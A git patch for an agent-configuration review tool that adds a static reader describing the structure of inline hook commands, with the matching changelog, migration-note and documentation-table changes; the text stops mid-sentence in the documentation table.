From 329e8dc7c7768d4a07652b94aedc0423f1f6dcd2 Mon Sep 17 00:00:00 2001 From: Pengfei Hu Date: Thu, 8 Oct 2026 03:14:35 -0700 Subject: [PATCH] feat(host-diff): describe an inline hook command by its structure, or say to open the config (#934) A hook row for a command that opens with an assignment, pipes or branches read two digests and no name. Each handler's command now publishes a shape (host-grants 0.9, extended in place) read by a bounded static reader: the plain-token programs at command positions, counts of commands, pipes, substitutions, control-flow keywords and quoted strings, file redirects and a script path. A command the reader refuses is shape_limit, and its row says the digest moved and the config has to be opened. Display only: no row, direction, severity, expansion signal or check decision moves. --- CHANGELOG.md | 1 + STABILITY.md | 64 ++ docs/distribution-surfaces.md | 2 +- docs/host-boundary-support.md | 55 ++ docs/host-grants-inventory-schema.v0.9.json | 145 +++- .../core/capability_diff_rows.py | 191 ++++- .../core/hook_command_shape.py | 452 +++++++++++ src/agents_shipgate/core/host_grants.py | 187 ++++- src/agents_shipgate/schemas/host_grants.py | 69 +- tests/fixtures/hook_command_shape/README.md | 12 + .../jet_pr303_base.settings.json | 50 ++ .../jet_pr303_head.settings.json | 50 ++ tests/shard_seconds.json | 1 + tests/test_distribution_surface_parity.py | 7 + tests/test_hook_args_and_settings.py | 9 +- tests/test_hook_command_shape.py | 744 ++++++++++++++++++ tests/test_hook_mcp_detail_fields.py | 41 +- 17 files changed, 2053 insertions(+), 27 deletions(-) create mode 100644 src/agents_shipgate/core/hook_command_shape.py create mode 100644 tests/fixtures/hook_command_shape/README.md create mode 100644 tests/fixtures/hook_command_shape/jet_pr303_base.settings.json create mode 100644 tests/fixtures/hook_command_shape/jet_pr303_head.settings.json create mode 100644 tests/test_hook_command_shape.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 8dffe0c6..cb5693fe 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - **`diff` classifies a large base tree about eight times faster.** Translating each boundary glob into a regular expression was repeated for every path in the tree and was 74–86% of first-run `diff` time on two large repositories (#698's measurement). The compiled pattern is now cached per pattern; which paths match is unchanged, and a test checks the cached matcher against the previous implementation on over 10,000 random pattern and path pairs. (#698) - **A hook row names a change to its `args` or to a background setting.** Changing only a command hook's exec-form arguments (`command: "python3", args: ["guard-readonly.py"]` → `["guard-write.py"]`), or only `"async": true` to `"asyncRewake": true`, was a `changed` row reading `no difference in the matcher, command or timeout; the change is in a detail this output does not show`. Each handler now publishes its `args` as a script path and a digest (host-grants `0.9`, extended in place): the first argument shaped as a relative script path that no redaction rule rewrites, alone or after the arguments before it, and a digest of the rest, as an MCP server's arguments are published, so no flag, value, absolute path or URL is shown. It also publishes the documented `type`, `async`, `asyncRewake`, `shell` and `once` settings it declares. The rows read `PreToolUse: args script guard-readonly.py → guard-write.py`, `args changed (sha256:… → sha256:…)` and `PostToolUse: async true → (none); asyncRewake (none) → true` on `diff` (text and `--json`), `verify`, the PR comment and `check`, and an added hook's cell lists them. The direction stays unknown, no script effect is inferred, and the fields are left out of grant equality, the digests and saved baselines, so no row, severity, expansion signal, loading basis or `check` decision moves, and rotating a value the digest already redacts is still no row. A change confined to `if`, `statusMessage` or another unpublished field still says it is not shown, and now names them. See [STABILITY.md](STABILITY.md#hook-args-and-settings-972). (#972, #971) +- **A hook row describes an inline command's structure, or says the digest moved and the config has to be opened.** Replaying CirrusRedOrg/EntityFrameworkCore.Jet#303, an edited `PreToolUse` script read `command changed ( sha256:f23acba4b10f → sha256:3f1dc36980b7)`: two digests, and no name because the script opens with an assignment. Each handler's `command` now also publishes a `shape` (host-grants `0.9`, extended in place), read by a bounded, static reader that never runs the command: the plain-token programs at its command positions, the counts of commands, pipes, `$( … )` substitutions, `if`/`while`/`for` keywords and quoted strings, the redirects to a file (the target only for `/dev/null` or a repository-relative path), and a script path published as `args` publish one. A command the reader refuses whole (a here-document, a backquote, `case`, a function, an unterminated quote, more than 8,192 characters, or a `shell` other than `bash`) is `shape_limit` instead. The Jet row now reads `…; same programs (cat, printf, sed, grep, echo, true); simple commands 15 → 25; pipes 5 → 9; conditionals and loops 4 → 7; quoted strings 18 → 32)`; an added pipeline stage reads `programs +sh; pipes 1 → 2`, an added redirect `redirects +>> logs/x.log`, a moved script `script a.py → b.py`; an edit that keeps the structure says `same programs and structure; the change is in an argument or in quoted text this output does not show, open the config to read the change`, and an undescribed command `not described: head command uses shell syntax this output does not describe; the digest moved, open the config to read the change`. `diff` (text and `--json`), `verify`, the PR comment and `check` print the same entry. No argument, quoted string, URL, credential or absolute path is published (every shape #987 withholds stays withheld, and its rotations stay quiet), a program name is never inferred to widen or narrow anything, and the shape is left out of grant equality, the digests and saved baselines, so no row, severity, direction, expansion signal or `check` decision moves and the row still says `hook edit; authority direction is unknown`. See [STABILITY.md](STABILITY.md#hook-command-shape-934). (#934) - **Two MCP rows say only what the read declaration establishes.** Replaying bulaofen0036-coder/TIA_Portal_Openness_MCP#46, a removed `.mcp.json` whose one server moved, unchanged, inline into `.claude-plugin/plugin.json`'s `mcpServers` (a member this entry does not read, already named under `What this run established` since #821) was a `removed` row saying "an MCP tool surface is no longer offered to the agent". Such a row now reads "the server is no longer declared in this source; whether it is still offered through a changed declaration this entry does not read is not established" when the same comparison names a changed, unread input that may declare MCP servers in the head — a plugin manifest's `mcpServers`, a manifest that does not parse, a plugin's `mcp.json` — whose plugin directory holds the removed file and whose item names the server's host (or the server's host is `unknown`). The input is never read, matched by server name or paired with the row, and keeps its coverage item; any other removal keeps its wording (#929). Replaying webiny/webiny-js#5760, `npx -y @webiny/stdlib serve` was noted `launch source is mutable`, though npm documents that a package named with no version specifier runs the local project's dependency of that name when there is one and is otherwise installed from the registry into the npm cache. An `npx` package with no version specifier is now noted `package spec has no exact version; launch resolution not established: npx may resolve a local project dependency or fall back to the registry/cache`, and its grant's `launch_source` adds `resolution: local_project_or_registry` beside `pin: mutable` (host-grants `0.9`, unreleased, extended in place; display-only, out of grant equality, digests and saved baselines). No `package.json`, lockfile or cache is read; `@latest`, ranges, tags, exact versions and other launchers keep #825's notes (#933). `diff` text and `--json`, `verify`, the PR comment and both `check` routes agree; no row, direction, `expands`, severity, expansion signal or `check` decision moves. `check` now lists the change's files only when an MCP server is removed, and names none of them. The README and quickstart change example is re-captured from the source tree and labelled not yet released. See the `MCP rows bounded to the read declaration` migration note in `STABILITY.md`. (#929, #933) - **A hook no tool call can trigger is no longer counted as a widening.** A Claude Code `PreToolUse` group with `matcher: "Bash(git push*)"` was a `⚠ high added` row and one widening, though Claude Code compares a tool event's matcher with the tool's name and reads this one as a regular expression no tool name can match (a permission-rule pattern belongs in a handler's `if` field). Each handler of a Claude Code tool event now publishes `matcher_reach` (host-grants `0.9`, extended in place), decided by a bounded parser that never runs the matcher and claims `no_tool_name` only when every match needs a character no built-in or MCP tool name holds. Such a hook stays a row, without `⚠` or an expansion signal, and its `why` names the matcher; any matcher that may match a tool name or that the reader does not decide (`Bash`, `.*`, `mcp__.*`, `Ba.*`, `Bash(git:*)`, an unparsable pattern) keeps the `1.2.0` reading, and a nonmatching matcher edited to match is now a widening. `diff`, `verify`, the PR comment, `check`'s rows, drift and `preflight` agree; `check`'s decision does not change. See [STABILITY.md](STABILITY.md#hook-matcher-reach-940). (#940) - **A long plain instruction document no longer hides the rest of a host comparison.** saleor/storefront#1252 adds two MCP declarations launching `next-devtools-mcp@latest` and regenerates a 346,349-byte `skills/saleor-paper-storefront/AGENTS.md`, past the instruction classifier's 256 KiB bound on both sides; `diff`, `verify` and the PR comment refused with no row and called the file only `unsupported in base and head`, which read as an unchanged file (an unchanged one has been named in `unchanged_limits` since #721; this one changed). An `AGENTS.md`, `AGENTS.override.md` or `CLAUDE.md` both sides read directly, refused only by that bound, is now left uncompared on both sides as its own `scope` of a `partial` comparison (#808's status), and the rest is compared: that profile publishes no grant, so no compared row depends on its text. A skill, command or Cursor rule past the bound, an unread role, a NUL byte, a one-sided or linked document, one a hook runs, any other changed limit and a change where nothing else was read still refuse, and an unchanged document is still a `comparable` result's unchanged limit. A blocking limit both sides carry now says whether its file changed in this change, is byte-identical, or neither is established, in its coverage `detail` and its line. `check`, `verify`'s control and the control envelope are unchanged; the classifier is unchanged. No schema version moves. See the `long plain instruction document` migration note in `STABILITY.md`. (#973) diff --git a/STABILITY.md b/STABILITY.md index 89527600..4c52c1ad 100644 --- a/STABILITY.md +++ b/STABILITY.md @@ -576,6 +576,70 @@ to mean a hook script should read `limit` (`unreadable` for a script, --- + + +## Migration Note: Unreleased — a hook row describes an inline command's structure, or says to open the config (host-grants `0.9`, #934) + +**What was wrong.** Published `1.2.0` showed an inline hook command as the name +of its first word and a digest. CirrusRedOrg/EntityFrameworkCore.Jet#303 changed +one `PreToolUse` command and the row read `command changed ( +sha256:f23acba4b10f → sha256:3f1dc36980b7)`: two digests, and no +name because the script opens with an assignment. A reviewer could not tell +whether the edit added a program, a branch or only text, and no row +distinguished an edit that explains itself from one that needs the file open. + +**What changes.** See [hook command shape](docs/host-boundary-support.md#hook-command-shape). + +- Host-grants inventory `0.9`, unpublished before this release, is extended in + place. A handler's `command` carries `shape` or `shape_limit`. `shape` is + read by a bounded, static reader of the command as `config_sha256`'s input + holds it, never run: the plain-token program names at command positions + (`commands`, at most 12, with `commands_more` and `unnamed` counting the + rest), the counts of `statements`, `pipes`, `substitutions`, + `control_flow` keywords and `quoted` strings, the `redirects` to a file as + `> target` (at most 8; the target only when it is `/dev/null` or a + repository-relative path), and a `script` path published as `args` publish + one (#972). `shape_limit` says why there is none: `too_long` (more than 8,192 + characters), `unsupported_shell` (a `shell` setting other than `bash` or + `sh`) or `unsupported_syntax` (a here-document, backquote, `$(( … ))`, + `case`, function definition, unterminated quote or group, or a command past + the reader's word or nesting bound). No argument, quoted string, variable, + URL or absolute path is published, and a token that looks generated is not + named. +- A changed command's row names what the shapes differ in: `command changed + ( sha256:f23acba4b10f → sha256:3f1dc36980b7; same + programs (cat, printf, sed, grep, echo, true); simple commands 15 → 25; pipes + 5 → 9; conditionals and loops 4 → 7; quoted strings 18 → 32)` for the Jet + pair, `programs +sh; pipes 1 → 2` for an added pipeline stage, `redirects + +>> logs/x.log`, `script a.py → b.py`. When the shapes are the same it says + `same programs and structure; the change is in an argument or in quoted text + this output does not show, open the config to read the change`, and when + either command is not described, `not described: head command uses shell + syntax this output does not describe; the digest moved, open the config to + read the change`. An added or removed hook's cell lists what a command that + is more than one program and its arguments is made of (`runs cat, jq, sh; 2 + pipes; 1 redirect (>> logs/x.log)`). +- `diff` (text and `--json`), `verify`'s host comparison, the PR comment and + `check`'s rows print the same entry. + +**Who must act.** Nobody. A reader that matched the exact `command changed +(…)` text, or that validates `0.9` handlers against a schema generated before +this change, updates to the new text and schema. + +**What does not change.** The shape is a function of the command as +`config_sha256`'s input holds it and, like the rest of `handlers`, is left out +of grant equality, the inventory digests and saved baselines, so no row, row +value, direction, `expands`, severity, expansion signal, loading basis (#714), +`matcher_reach` (#940) or `check` decision moves, and a hook edit stays `hook +edit; authority direction is unknown`: a shape names programs and counts, never +what a command does, whether a host runs it or which way an edit moves +authority. A value the digest's input redacts is withheld from the shape too, +so rotating one is still no row (#987). No schema file present in a tagged +release changes. No check ID, CLI flag, control state or permission is added. +`minimum_control_contract_version` stays `21`. + +--- + ## Migration Note: Unreleased — a hook row names its `args` and settings (host-grants `0.9`, #972, #971) diff --git a/docs/distribution-surfaces.md b/docs/distribution-surfaces.md index bdb55334..1f607dca 100644 --- a/docs/distribution-surfaces.md +++ b/docs/distribution-surfaces.md @@ -74,7 +74,7 @@ and this document are checked against each other by | `human_review_request` | `docs/human-review-request.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | One complete-evidence documentation-quality class only; no authority or decision ingestion. | | `human_review_decision` | `docs/human-review-decision.md` | `release_decision_vocabulary` | `test_surface_enumerations_match_the_engine_vocabulary` | Host-neutral read-only evaluator; no GitHub acquisition, persistence or operation authority. | | `github_action` | `action.yml`, `scripts/github_action_outputs.py` | `merge_verdict_vocabulary` | `test_action_input_enumerates_engine_merge_verdicts`, `test_action_output_script_shares_the_engine_merge_verdicts` | The paired `shipgate_wheel`/`shipgate_wheel_sha256` inputs install a caller-supplied local wheel instead of a published version, so that route names no channel and claims no `executable_pin`; it is refused unless both halves are given, and it installs `--no-deps`. `tests/test_action_engine_install.py` proves the refusals. Every `python` the Action starts in the workspace runs with `-P` or as a script path, so a pull request's `pip/` or `agents_shipgate/` package cannot stand in for pip or the engine; the same file executes the install and merge-verdict steps against such a checkout. The `v1.0.0` tag predates that fix; the published `v1.1.0` carries it. | -| `capability_diff` | `src/agents_shipgate/cli/diff.py`, `src/agents_shipgate/core/capability_diff_rows.py`, `src/agents_shipgate/core/host_comparison.py`, `src/agents_shipgate/report/host_comparison.py`, `src/agents_shipgate/core/unread_inputs.py`, `src/agents_shipgate/cli/verify/changed_inputs.py` | — | — | Answers no question the engine answers: it emits no verdict, no release decision and no pin. Every field is read from the drift payload the engine already produces — `risk` is the engine's severity and `expansion_signals` is the engine's word on widening — so there is no second implementation to drift. A `permission_mode` or `sandbox` row names the setting and its value as the file spells it (`enableAllProjectMcpServers: true`, `defaultMode: dontAsk`), recovered from the grant's published value and digest, and a Claude Code setting's `why` is the basis the engine's one setting table (`core/host_settings.py`) records for the value; that table also rates the grant and `check`'s violation, so a row's severity and the violation's risk give one answer (#827, `tests/test_prompt_disabling_settings.py`). `verify`/PR and `check` reuse the host comparator (#684, `tests/test_manifest_free_pr_rows.py`), and the source name each named reusable-workflow secret refers to, also non-widening, with a redacting name or target refused rather than compared, and an unreadable value neither compared nor named on this surface — only the host inventory and `audit --host` name its `job/destination`, as on `1.0.0` (#693, `tests/test_reusable_workflow_secret_mappings.py`); check retains argument redaction, except that an allow rule the engine rates as reaching a [documented arbitrary-code launcher](engineering/exec-equivalent-permissions.md) is shown in table text (`Bash(npx *)`, or a wider rule's own prefix of it, `Bash(python3 *)`) and never with a user operand, the one rating `diff`, `audit --host`, `verify` and the PR comment also carry, and its existing local-policy control (#824, `tests/test_exec_equivalent_permissions.py`). Missing comparison evidence never supplies empty comparable rows. A Claude Code permission rule row's `direction`, `expands` and `why` read the engine's one rule model (`core/claude_permission_rules.py`), the reading drift's `expansion_signals` and `check`'s violations come from, so a covered, respelled, never-consulted or carve-out rule gets one answer on every route (#918, #941, #969, #974, #938, `tests/test_claude_permission_rule_model.py`). A permission rule's cell is the text the settings reader published, never re-redacted here: a URL in it keeps its closing delimiter and trailing wildcard and withholds its path, query, fragment and userinfo, with a digest where it withholds a URL part, so two rules that publish alike stay two rows and two changes on every route (#922, `tests/test_permission_rule_url_redaction.py`). Default host mode only (`--application` is registered separately below); workflow rows compare effective writes and reusable secret recipients (#685, `tests/test_workflow_capability_diff.py`), with the privileged `pull_request_target` event stated apart from the job token scopes, a calling job's permissions printed as a ceiling whose reach the engine read from a same-repository callee's own permissions (`callee_permissions`, `callee_write_scopes` on the grant), and an inheriting call re-pinned to another reference of the same workflow a reference change rather than a new recipient, all read off the grant and `expansion_signals` the engine published (#920, #921, #924, `tests/test_actions_token_scope.py`), and each job's remote step action references, as a non-widening change (#771, `tests/test_workflow_step_action_references.py`); and each job's agent launches — a documented agent action's permission inputs, the permission flags of a `run:` that is one plain `claude -p` / `codex exec` command — and checkout refs, compared as text, as a change unless the job gains a documented widening rule, which the engine names in `expansion_signals` (`workflow_agent_widened_*`) — a rule read only from text the engine reads exactly (no shell is parsed; an argument input that is not a plain list of words is compared by a digest and read for no rule), and a gain the engine does not claim (a rule moved in from a job the launch left, one an unread step of the job rewritten as a read launch may already have met, or one the job's launch held before in an expression or an unread argument input) named in the `why` from the same engine function, never counted — with a note on a workflow row naming the untrusted-input trigger, write scopes, secrets and pull request checkout beside each agent step, read off the grant the engine published and moving no direction; an unread `run:` agent step (never compared, so never a row), an unreadable value or a setting published redacted is named only by the host inventory and `audit --host`, as for an unread secret value, an unread argument input or an unresolved launch is named there and in the `why` of a row reporting its launch, and a checkout ref holding credential-shaped text is refused as a redacting step reference is (#823, `tests/test_workflow_agent_launches.py`); every job id, step label, trigger and scope name those rows print is the label the engine published once where it built the grant, redacted, never re-derived here; `check`'s workflow evidence is derived from the raw declarations, which it still compares, and redacts job and scope names by the same rule; two distinct job ids or triggers in one workflow, or scope names in one `permissions` mapping, that publish alike are refused rather than compared, so while such a workflow exists `check` refuses on every run even when it is unchanged (#802, `tests/test_workflow_label_redaction.py`); artifact-only edits remain separate evidence. Tool-source subjects are #655. Where a partial or experimental surface is byte-identical on both sides, `diff` and `verify` compare the rest and name it in `unchanged_limits`; `check` keeps refusing, because its boundary result cannot carry a limit yet (#721). A surface the reader reaches through an in-tree link it reads through qualifies only when that link, a link with the same text at each link on the way, and the file it lands on, the same blob at the same path, are both unchanged, read from the base's Git tree entries against a commit's or, without following any link, the working tree's; any change to either is treated as before. The same proof decides which shared plugin-reference limits `check` leaves out, so behind such a link `check` compares, and publishes the rows it finds, exactly as for a limit at its own path, and a comparison `partial` only because of such a limit is `comparable` with it in `unchanged_limits` (#822, `tests/test_linked_unchanged_limits.py`). An added or changed MCP row's `why` appends a launch-source note — `launch source is mutable`, or `launch source moved from pinned … to mutable …` when both sides establish a pin — read from the `launch_source` the engine published on the grant by a bounded declaration grammar ([mcp-launch-source-notes](engineering/mcp-launch-source-notes.md)); grant equality, the inventory digests and saved baselines leave that fact out, so the note adds no row and moves no direction, `expands`, severity, expansion signal or `check` decision (#825, `tests/test_mcp_launch_source.py`). An `npx` package named with no version specifier reads instead `package spec has no exact version; launch resolution not established: npx may resolve a local project dependency or fall back to the registry/cache`, from the display-only `resolution: local_project_or_registry` the engine published beside the pin (host-grants `0.9`), as npm documents `npx` resolving such a name; no `package.json`, lockfile or cache is read, and nothing else moves (#933). A removed MCP row reads `the server is no longer declared in this source; whether it is still offered through a changed declaration this entry does not read is not established` instead of `an MCP tool surface is no longer offered to the agent` when the same comparison's #821 discovery names a changed, unread input that may declare MCP servers in the head (a plugin manifest's `mcpServers`, a manifest that does not parse, a plugin's `mcp.json`) in the same plugin scope and for the same host; the input is never read, matched or paired, keeps its coverage item, and no direction, `expands`, severity or `check` decision moves; `check` lists the changed files for it only when a server is removed and a provided diff states only the files it touches (#929, `tests/test_mcp_row_bounded_wording.py`). An MCP row's subject names the host the engine published its grant under, which for a `.mcp.json` is the host whose declaration selects it (#936): `codex` for a Codex plugin's, and no host for one the inventory published under `unknown`, whose `why` then says the host is not established; it restates the inventory's attribution, which `check`'s `affected_hosts` and `host_coverage` read too, and moves no direction, `expands`, severity, expansion signal or `check` decision (`tests/test_mcp_host_attribution.py`). A hook row's `why` states the grant's loading basis, read from its published `source`, `access` and `risk` by the engine's `hook_loading_basis`; only a hook the host loads for this project earns an expansion signal — one a settings layer declares, or one a plugin selects that the repository's project settings enable from an in-repository marketplace — so a declared-only hook, or one a plugin selects without that enablement, is a row and never an expansion, and a removal names no basis (#714). An added or changed Claude Code `PreToolUse` hook row whose basis is host configuration or a project-enabled plugin appends `inline allow auto-approves matched tool calls without a prompt (matcher …)` when a handler's published `inline_allow` is true — the engine's reading of a literal, unconditional allow on a broad matcher by a bounded declaration grammar ([inline-hook-allow-notes](engineering/inline-hook-allow-notes.md)), which grant equality, the inventory digests and saved baselines leave out — so the note adds no row and moves no direction, `expands`, severity, expansion signal or `check` decision (#826, `tests/test_inline_hook_allow.py`). A Claude Code tool-event hook row reads the `matcher_reach` the engine published on each handler (host-grants `0.9`): a hook every one of whose handlers is `no_tool_name` — its declared matcher, read by a bounded parser that never runs it, can match no built-in or MCP tool name, as with `Bash(git push*)` — earns no expansion signal, and its row is `declares a hook no tool call can trigger` and names the matcher, as does a row whose hook also has handlers that can run; the engine counts the handlers a tool call may run to decide a widening, so `diff`, `verify`, the PR comment, `check`'s rows and drift give one answer, and `check`'s decision does not move (#940, `tests/test_hook_matcher_reach.py`). A hook row also names a handler's exec-form `args` — the first argument shaped as a relative script path that no redaction rule rewrites, alone or after the arguments before it, and a digest of the rest, never other argument text — and the documented `type`, `async`, `asyncRewake`, `shell` and `once` settings it declares, before and after, read from the display-only `handlers` the engine published (host-grants `0.9`), which grant equality, the inventory digests and saved baselines leave out, so the field difference reaches the text and `review.changes[].change` and moves no row, direction, severity, expansion signal, loading basis or `check` decision, and a change confined to a field still not published, such as `if` or `statusMessage`, still says it is not shown (#972, #971, `tests/test_hook_args_and_settings.py`). `check` compares without a plugin-reference limit both sides share on an untouched source, which it cannot name and, untouched, does not route; a limit only one side carries makes its comparison incomparable. Those rows are not what routes a change: `check`, and the boundary check a manifest-backed `verify` runs, route a changed hook declaration of a plugin the project settings enable through the existing protected-surface rule, from the plugin hook reader's selection on both compared sides, and count a changed hook file such a plugin selects that the reader does not open as incomplete input; the rows beside either are unchanged (#809, `tests/test_enabled_plugin_hook_routing.py`). A partial clone that never fetched the base's objects is refused as `objects_missing`, exit `2`, never compared and never fetched; the refusal ends with the remediation sentence `verify` reports for the same reason, produced by the same function (#817, `tests/test_capability_diff_partial_clone.py`). The text of `diff`, `verify`, the PR comment and `check` reads the rows through one function, `review_changes`, and adds no row and changes no row value in any JSON projection (#795, `tests/test_host_diff_review_changes.py`): a permission rule is named with its disposition; an MCP server with the command name (never its path) or redacted URL, its package and argument digest (#819) and the env and header key names its grant already publishes, a URL printing only in the engine's sanitized scheme-and-host form and otherwise as `url not shown`, or, when none of those differ, a sentence naming what was compared and that the change is in a detail not shown, such as the command's path or another setting; a hook with each handler field that changed — its group's matcher, its command as its executable's name and digest, its timeout — before and after, a handler only one side declares, or the published handlers in a different order with a detail not shown that may also differ, and past the handler bound the same kind of sentence naming a handler past it, all read from the handlers its host-grants `0.7` grant publishes, which hold no command or argument text, and never re-derived here, and a declaration outside the documented hooks shape named as not shown rather than guessed (#819, `tests/test_hook_mcp_detail_fields.py`); those hook and MCP members display what `config_sha256` already binds, so grant equality and every inventory digest leave them out, a saved baseline holds none of them, and no row, row value, reason, digest or control answer moves; the PR comment gives the lines 1.1.0 printed their room first, the coverage block included, and prints an entry whole when the whole comment fits, otherwise cut to the widest length of at least 60 characters at which it does, or else in its shortest form (a difference cut after its name, an added or removed grant as its row), never longer than the entry 1.1.0 printed, with one line naming `verifier.json`, so no long entry hides a row, the coverage block, the change count, the review question, the reproduction or the advisory that 1.1.0 kept (#819 review, cycles 4 and 6); an allow rule the permission lattice decided another replaced (`widened` or `narrowed`), a removed and an added rule Claude Code documents as one grant in one host, source and disposition (`respelled`, #918), or the exact rule text that moved between dispositions in one host and source (`moved`), is one entry, never on the routes that redact rule arguments; and `diff` counts entries `from N rows` when one joins rows. Comparable results with entries end with one review question, naming the row count when an entry joins rows, and every result whose comparison names a base commit and a commit or working-tree head — a zero-row result and a refusal included (#812 follow-up, `tests/test_host_comparison_coverage.py`) — ends with the compared commits, the tool version and an `agents-shipgate diff --base ` reproduction, labelled `Inputs:` rather than `Compared:` where the comparison was refused, since that run compared nothing — and a refused comparison publishes no `review` object at all, so those two lines are the only place that run states its provenance, built from the `base_commit` it publishes beside the refusal; `check` and a provided diff print the question alone, and no result without a change asks a question. Every one of those facts is published beside the rows, so a machine consumer reads what a human reads (#795 slice 2, same test file): a row adds `disposition`, the `allow`/`ask`/`deny` list a permission rule is declared under and `null` for any other kind, on every route that publishes rows; and `review` in `diff --json` (capability diff `0.3`) and `host_comparison.review` in `verifier.json` (verifier `0.20`) — one object for one comparison — carry the presented changes, each naming the `row_indexes` it stands for, the `direction` the text uses (`widened`, `narrowed`, `respelled` and `moved` included, which no single row can carry), its cells, its `why` and one `expands`, plus a `summary` of `{rows, changes, widenings}` equal to `diff`'s summary line, the review question and the reproduction command. The block is refused unless its changes stand for every published row exactly once, its counters match and no joined change's two sides read alike, so the routes that redact rule arguments publish their rows alone and never a pair that reads `X → X`; `check`'s boundary result carries rows, with their dispositions, and no block. It is presentation, not a second opinion: it is the one `review_changes` projection the text prints, so the rows, their values, their count and every control answer are what they were. A comparison read back from JSON prints the changes it published, and one whose rows a caller sliced falls back to those rows. Each comparison also says what it established (#812, `tests/test_host_comparison_coverage.py`): `coverage` in `diff --json` (capability diff `0.3`) and `host_comparison.coverage` in `verifier.json` (verifier `0.20`) are the same object, printed as `What this run established` by `diff`, `verify` text and the PR comment. It is read off the grant changes, artifact changes, observed sources and blocking issues the comparator already computed: a file's rows, counting a source inside it (`#profiles.`, `#plugins.`); a file with no row and no artifact change called unchanged (`compared`, `0` rows) only when Git proves its blob identical, as the check `unchanged_limits` uses does, asked privately in one bounded batch and never published, because the artifact digest redacts `env` values and `apiKeyHelper`; a file that changed with no compared grant moving (`changed_without_grant_change`), whose artifact differs only in its digest or whose content Git shows differs while its artifact did not (never a difference a checkout line-ending conversion or a converting attribute explains, and no filter is run), never a plugin manifest or marketplace, a retargeted link or project settings while a hook's loading basis moved, worded as no compared grant changing and never as which fields changed; any other changed file with no row (`changed_without_rows`); a file Git neither proves identical nor shows differs — a provided diff, a link read, a redacted path, a working-tree file a checkout wrote with `CRLF` that Git reports unchanged — as `unchanged_not_proven`, never no change and never a change (#812 review cycle 3); the side that published a source, worded `published by` rather than `read in` for a plugin manifest or marketplace, which is published only while it declares hooks; and on a refused comparison each blocking source and its kind. Outside the bounded candidate rules below, a file no inventory observed is never an item and its absence is no claim, which the block states where it is read — one line under the heading and `read_sources_only` in the JSON — so a true list cannot be taken for the account of the change (#812 follow-up); a source already in `unchanged_limits` is not repeated; the list is capped at ten with `omitted_items`, ordered so what no row shows precedes a file's rows and, among blocking limits, by kind (`unreadable`, `parse_failed`, `unresolved_precedence`, then `unsupported`, `dynamic_source_excluded`, `remote_source_excluded`) — order, not severity, and a ranking of kinds rather than of items, since `unsupported` carries both a file this entry merely does not accept and one whose own text would not parse, so an item behind the count may still be one to repair; total down to every field an item is keyed by, the source name and then its side, limit and status — and counted in text as items not listed, ranked below those listed, and the PR comment lists only what fits in the room its entries, review question, reproduction, advisory, next action and evidence leave, at most 2000 characters, so the block never pushes out a line the comment prints without it (a row list that fills the comment by itself still truncates it, as on `1.0.0`); an instruction file's line carries no redacted-values note; sources are the inventory's redacted paths; `null` means not recorded, which is how a `0.19` verifier reads. It moves no row, reason, digest, baseline, control state or next action, and `check`'s boundary result and text carry none, so neither `check` nor a provided diff asks Git anything for it. The same list names the changed inputs this entry does not read (#821, `tests/test_unread_changed_inputs.py`): capability diff `0.4` and verifier `0.21` add a `changed_not_read` item, with the `candidate` rule that named it, for each path in the comparison's own changed-file set — the committed change, or the working tree's tracked and untracked changes — that a bounded, documented rule set recognises as plausibly agent configuration (`mcp.json` in a plugin directory, a plugin manifest's `mcpServers`, a Codex, Cursor or Copilot manifest's `hooks` and the hook files it names, a manifest or marketplace that does not parse, `.cursor/hooks.json`, host settings below the repository root, a marketplace entry's external `source`) and that no inventory published; a member is named whatever read its file, because no reader reads it. It is named from the path and, for a manifest or marketplace member, its text: nothing is fetched, run or read as a grant, so it is never a row, a widening, a `check` violation or a loading claim, and an external source is described redacted and never fetched. It ranks right after the blocking limits, inside the same cap; `read_sources_only` is `false` while one is named, and the first line says so instead; `unread_candidates` and `unread_candidates_not_examined` say whether the change set was examined and how many candidates were not — past the bound of 32, or because a file the rule needed was not read or did not parse, one count the text names both causes of. A manifest-free `verify` whose only host-relevant change is such an input, or a changed candidate it counts as not examined, publishes the comparison instead of the setup route, and `verify --preview` then names `audit --host` instead of `init --write`, in an agent-related workspace too; a `0.20` verifier reads with the search not recorded. A comparison refused only by plugin-reference limits, each bounded by its plugin directory, that no compared source depends on, is `partial` instead (#808, `tests/test_partial_host_comparison.py`); any other blocking limit it carries must be one both sides share on an unchanged source, named in `unchanged_limits` as on a comparable result. Capability diff `0.4` and verifier `0.21` publish `comparison_status: partial` with the refusal's `incomparable_reasons`, the rows, review and unchanged limits established outside those directories, and each directory (the outermost, where one holds another) as the reserved `coverage.items[].scope` on the `blocking_limit` items it bounds, and never call a changed project settings file without a row `changed_without_grant_change`, since the hooks whose loading basis it decides are not all compared; `diff`, `verify` text and the PR comment lead with `Partial comparison against …` or `Host capability comparison partial: …` and `Not compared: , …` before any entry, and a partial result with no entry is never printed as no change. Independence is read off the reader's reference graph, never off directory names: any other limit that is not unchanged, a reference leaving its plugin, a plugin at the root or holding project settings, a marketplace elsewhere declaring inline hooks for it, or a directory that does not publish as itself refuses as before. It answers no engine question and moves no control: a partial comparison is not comparable, `verify`'s control and route are the refusal's, the control envelope projects it as `incomparable` with no rows, and `check`, whose boundary result cannot name a directory, refuses its comparison and decides exactly as before. A `0.20` verifier claiming a partial comparison or a scope is refused. A plain instruction document (`AGENTS.md`, `AGENTS.override.md`, `CLAUDE.md`) both sides read directly, refused only because it is past the 256 KiB instruction bound, is withheld the same way and named as its own `scope` with `limit: unsupported`, since that profile publishes no grant and so no compared row depends on its text; a skill, command, Cursor rule, unread role, NUL byte, one-sided or linked document, or one proven unchanged (named in `unchanged_limits`) is treated as before, and a blocking limit both sides carry ends its `detail` and its line with whether Git shows its file changed in this change, identical, or neither (#973, `tests/test_oversized_instruction_document_partial.py`). A selected hook's script bytes are a comparison input of its hook grant (#702, `tests/test_hook_script_capture.py`, `tests/test_hook_script_comparison_limits.py`): a script-only edit is one `changed` row on the declaring hook, never an expansion, whose `why` names the script and loading basis and whose change carries the digests, read from the `script_inputs` the engine published; the script's own coverage line is `changed_without_rows`, which the text words as the row of the hook that runs it naming it, and a script only one side's hooks select is `compared` on that side, its selection change being the hook's row. A script the reader could not read costs that script only: a shared limit Git proves unchanged, or a script Git proves is on neither side, is an `unchanged_limits` entry of kind `unreadable`, and any other makes the comparison `partial` with a `blocking_limit` item naming the script as both `source` and `scope`, and `Not compared: the bytes of …` in the text; a working-tree difference a line-ending conversion can explain 